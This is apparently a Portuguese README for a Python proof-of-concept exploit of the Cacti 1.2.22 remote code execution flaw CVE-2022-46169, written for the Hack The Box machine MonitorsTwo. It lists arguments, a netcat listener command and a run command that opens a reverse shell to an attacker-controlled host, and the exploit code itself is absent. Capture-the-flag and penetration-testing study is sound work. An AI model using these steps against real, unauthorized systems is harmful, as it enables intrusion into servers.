
Exploit em Python para CVE-2022-46169 que entrega execução remota de código não autenticada no Cacti 1.2.22 via shell reverso, destinado a teste de penetração educacional.
Este repositório contém um exploit para CVE-2022-46169, que afeta o Cacti 1.2.22. Esta vulnerabilidade permite que um atacante não autenticado execute código arbitrário no sistema afetado.
Se você quiser uma descrição detalhada de como este exploit é possível, consulte esta postagem do Rapid7. Eles entram em grandes detalhes sobre especificidades.
Eu escrevi este código, com ajuda do chatGPT para uma máquina Hack The Box chamada MonitorsTwo para fins educacionais.
Arguments:
-u URL of Cacti Application
-lhost IP address of machine you want the shell on
-lport Port of the machine you want the shell on
Configure um listener na sua máquina local com netcat nc -lvnp 9001
Execute o exploit contra o alvo
python3 CVE-2022-46169.py -url http://10.10.11.211/ -lhost 10.10.14.3 -lport 9001
Esta Prova de Conceito (PoC) é estritamente para fins educacionais e de teste. Usar esta PoC em qualquer sistema ou rede sem autorização clara do proprietário do sistema é ilegal e pode levar a ações legais. O criador não aceita responsabilidade por qualquer dano decorrente do uso adequado ou inadequado desta PoC. Use por sua conta e risco.
https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-46169/